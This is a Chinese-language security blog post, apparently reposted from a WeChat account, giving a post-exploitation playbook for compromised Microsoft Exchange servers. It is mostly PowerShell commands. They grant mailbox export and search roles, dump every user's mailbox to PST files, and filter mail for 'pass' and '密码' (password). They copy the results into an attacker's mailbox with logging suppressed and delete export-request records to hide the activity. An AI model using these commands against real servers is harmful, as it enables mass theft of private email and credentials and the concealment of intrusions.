Exchange邮箱服务器后利用

  • A+
所属分类:安全文章
Exchange邮箱服务器后利用

目录


使用PSSession连接Exchange服务器管理邮件
    导出邮件
        导出所有用户的所有邮件
        导出指定用户的所有邮件
        筛选导出邮件
        导出请求记录
    使用powershell脚本导出邮件
        导出指定用户的所有邮件
        导出所有用户的所有邮件
    搜索邮件
        搜索邮件的常用命令
        使用powershell脚本搜索
    在Exchange服务器上直接管理邮件
    导出邮件
        导出所有用户的所有邮件
        导出指定用户的所有邮件
        使用powershell脚本导出邮件
    搜索邮件
        搜索邮件的常用命令
        使用powershell脚本搜索


作者:谢公子 @深蓝攻防实验室


当我们拿到了Exchange邮箱服务器权限后,我们可以进行进一步的利用。比如导出所有用户或指定用户的邮件、搜索特定用户或所有用户的敏感邮件等等。


Exchange邮箱服务器后利用
使用PSSession连接Exchange服务器管理邮件

首先使用PSSession连接Exchange服务器



#使用PSSession连接Exchange服务器

$User = "xieadministrator"

$Pass = ConvertTo-SecureString -AsPlainText [email protected] -Force

$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass

$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://mail.xie.com/PowerShell/ -Authentication Kerberos -Credential $Credential

Import-PSSession $Session -AllowClobber


#查看所有用户邮箱地址

Get-Mailbox


#查看PSSession

Get-PSSession

#断开PSSession

Remove-PSSession $Session


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
导出邮件

在使用PSSession连接Exchange服务器后,执行以下操作导出邮件

    1. 将用户添加到角色组”Mailbox Import Export”
    2. 重新启动Powershell否则无法使用命令`New-MailboxexportRequest`
    3. 导出邮件,导出的文件格式后缀为 .pst,可以用 outlook打开

将用户从角色组”Mailbox Import Export” 添加、移除




#将用户hack添加到Mailbox Import Export组

New-ManagementRoleAssignment –Role "Mailbox Import Export" –User administrator


#查看Mailbox Import Export组内的用户

Get-ManagementRoleAssignment –Role "Mailbox Import Export"|fl user


#将用户hack从Mailbox Import Export组移除

Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-administrator

" -Confirm:$false


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
导出所有用户的所有邮件

导出所有用户的所有邮件到 C:userspublic 目录下



Get-Mailbox -OrganizationalUnit Users -Resultsize unlimited |%{New-MailboxexportRequest -mailbox $_.name -FilePath ("\localhostc$userspublic"+($_.name)+".pst") -CompletedRequestAgeLimit 0 }


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
导出指定用户的所有邮件

导出指定administrator用户的所有邮件到 C:userspublic 目录下

$Username = "administrator"

New-MailboxexportRequest -mailbox $Username -FilePath ("\localhostc$userspublic"+$Username+".pst") -CompletedRequestAgeLimit 0


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
筛选导出邮件

筛选出指定用户的administrator中包含pass的邮件,保存到Exchange服务器的c:userspublic目录下



$User = "administrator"

New-MailboxexportRequest -mailbox $User -ContentFilter {(body -like "*密码*")} -FilePath ("\localhostc$userspublic"+$User+".pst") -CompletedRequestAgeLimit 0


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
导出请求记录

导出后会自动保存导出请求的记录,默认为30天,如果不想保存导出请求,可以加上参数



-CompletedRequestAgeLimit 0


其他关于导出请求记录命令



#查看邮件导出请求

Get-MailboxExportRequest


#删除所有导出请求

Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false


#删除某个导出请求

Remove-MailboxExportRequest -Identity 'xie.com/Users/hackMailboxExport' -Confirm:$false


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
使用powershell脚本导出邮件

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToExportMailfromExchange.ps1


该脚本流程如下:

1. 使用PSSession连接到Exchange服务器
2. 判断使用的用户是否被加入到角色组”Mailbox Import Export” 如果未被添加,需要添加用户
3. 导出邮件并保存至Exchange服务器的c:userspublic ,格式为pst文件
4. 如果新添加了用户,那么会将用户移除角色组”Mailbox Import Export”
5. 清除PSSession

对脚本进行了简单的修改,使用命令如下:


Exchange邮箱服务器后利用
导出指定用户的所有邮件




import-module .UsePSSessionToExportMailfromExchange.ps1

UsePSSessionToExportMailfromExchange -User "administrator" -Password "[email protected]" -MailBox "administrator" -ExportPath "\localhostc$userspublic" -ConnectionUri "http://mail.xie.com/PowerShell/"


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
导出所有用户的所有邮件




Import-Module .UsePSSessionToExportAllUserMailfromExchange.ps1

UsePSSessionToExportMailfromExchange -User "administrator" -Password "[email protected]" -ExportPath "\localhostc$userspublic" -ConnectionUri "http://mail.xie.com/PowerShell/"


Exchange邮箱服务器后利用


目前该功能已经集成到插件中


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
搜索邮件
Exchange邮箱服务器后利用
搜索邮件的常用命令


基本流程同导出邮件类似,但是区别在于角色组`"Mailbox Import Export"`需要更换成`"Mailbox Search"`



#使用PSSession连接Exchange服务器
$User = "xieadministrator"
$Pass = ConvertTo-SecureString -AsPlainText [email protected] -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://mail.xie.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber

#将用户添加到角色组”Mailbox Search”
New-ManagementRoleAssignment –Role "Mailbox Search" –User administrator

#搜索所有包含单词pass的邮件并保存到用户test2的outAll文件夹
Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -TargetMailbox "test" -TargetFolder "outAll" -LogLevel Suppress| Out-Null

#搜索指定用户administrator中包含单词pass的邮件并保存到用户test的out文件夹
Search-Mailbox -Identity "administrator" -SearchQuery `"*pass*`" -TargetMailbox "test" -TargetFolder "out" -LogLevel Suppress| Out-Null


Exchange邮箱服务器后利用


登录test用户邮箱,即可看到out和outAll收件箱。


Exchange邮箱服务器后利用

Exchange邮箱服务器后利用
使用powershell脚本搜索


该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/UsePSSessionToSearchMailfromExchange.ps1

搜索所有用户的邮件中包含单词pass的邮件并保存到用户test的outAll文件夹:



UsePSSessionToSearchMailfromExchange -User "administrator" -Password "[email protected]" -MailBox "All" -ConnectionUri "http://mail.xie.com/PowerShell/" -Filter `"*pass*`" -TargetMailbox "test" -TargetFolder "outAll"


搜索指定用户administrator中包含单词pass的邮件并保存到用户test的out文件夹:



UsePSSessionToSearchMailfromExchange -User "administrator" -Password "[email protected]" -MailBox "administrator" -ConnectionUri "http://mail.xie.com/PowerShell/" -Filter `"*pass*`" -TargetMailbox "test" -TargetFolder "out"


Exchange邮箱服务器后利用


目前该功能已经集成到插件中


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
在Exchange服务器上直接管理邮件

添加管理单元,不同Exchange版本对应的管理单元名称不同:



#Exchange 2007

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin;

#Exchange 2010

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010;

#Exchange 2013 & 2016: 

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;


#获取所有用户邮箱(默认显示1000个)

Get-Mailbox

#获取所有用户邮箱(加上-ResultSize参数,则显示所有)

Get-Mailbox -ResultSize unlimited


#只显示所有用户邮箱Name自段

Get-Mailbox|fl Name 


#获得所有邮箱的信息,包括邮件数和上次访问邮箱的时间

Get-Mailbox | Get-MailboxStatistics


#获得所有OU

Get-OrganizationalUnit


#查询指定用户指定时间起发送邮件的记录

Get-MessageTrackingLog -EventID send -Start "01/11/2019 09:00:00" -Sender "[email protected]"

Exchange邮箱服务器后利用


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
导出邮件
Exchange邮箱服务器后利用
导出所有用户的所有邮件


导出所有用户的邮件,保存到Exchange服务器的c:userspublic 目录:



Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

Get-Mailbox | %{New-MailboxexportRequest -mailbox $_.name -FilePath ("\localhostc$userspublic"+($_.name)+".pst")}


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
导出指定用户的所有邮件


导出指定用户administrator的邮件,保存到Exchange服务器的c:userspublic 目录:



Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;

$User = "administrator"

New-MailboxexportRequest -mailbox $User -FilePath ("\localhostc$userspublic"+$User+".pst")


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
使用powershell脚本导出邮件

该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/DirectExportMailfromExchange.ps1


使用时需要指定Exchange版本



Import-module DirectExportMailfromExchange.ps1

DirectExportMailfromExchange -MailBox "administrator" -ExportPath "\localhostc$userspublic" -Filter "{`"(body -like `"*pass*`")`"}" -Version 2016


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
搜索邮件
Exchange邮箱服务器后利用
搜索邮件的常用命令




#枚举所有邮箱用户,显示包含关键词pass的邮件的数量

Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -EstimateResultOnly


#搜索邮箱用户test,显示包含关键词pass的邮件的数量

Search-Mailbox -Identity test -SearchQuery `"*pass*`" -EstimateResultOnly


#枚举所有邮箱用户,导出包含关键词pass的邮件至用户test的文件夹out中(不保存日志)

Get-Mailbox|Search-Mailbox -SearchQuery `"*pass*`" -TargetMailbox "test" -TargetFolder "outall" -LogLevel Suppress


#搜索邮箱用户test,导出包含关键词pass的邮件至用户test的文件夹out中(不保存日志)

Search-Mailbox -Identity administrator -SearchQuery `"*pass*`" -TargetMailbox "test" -TargetFolder "out" -LogLevel Suppress


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用
使用powershell脚本搜索


该powershell脚本作者:[3gstudent] https://3gstudent.github.io

地址为:https://github.com/3gstudent/Homework-of-Powershell/blob/master/DirectSearchMailfromExchange.ps1


搜索指定用户administrator中包含单词pass的邮件并保存到用户test的out文件夹:



DirectSearchMailfromExchange -MailBox "administrator" -Filter `"*pass*`" -TargetMailbox "test" -TargetFolder "out2" -Version 2016


搜索所有包含单词pass的邮件并保存到用户test的outAll文件夹:



DirectSearchMailfromExchange -MailBox "All" -Filter `"*pass*`" -TargetMailbox "test" -TargetFolder "outAll" -Version 2016


Exchange邮箱服务器后利用


Exchange邮箱服务器后利用

   ▼
如果想跟我一起讨论的话,那就加入我的知识星球吧!

Exchange邮箱服务器后利用



参考:https://3gstudent.github.io/渗透基础-从Exchange服务器上搜索和导出邮件 


END


如果想跟我一起讨论,那快加入我的知识星球吧!https://t.zsxq.com/7MnIAM7


Exchange邮箱服务器后利用



本文始发于微信公众号(谢公子学安全):Exchange邮箱服务器后利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: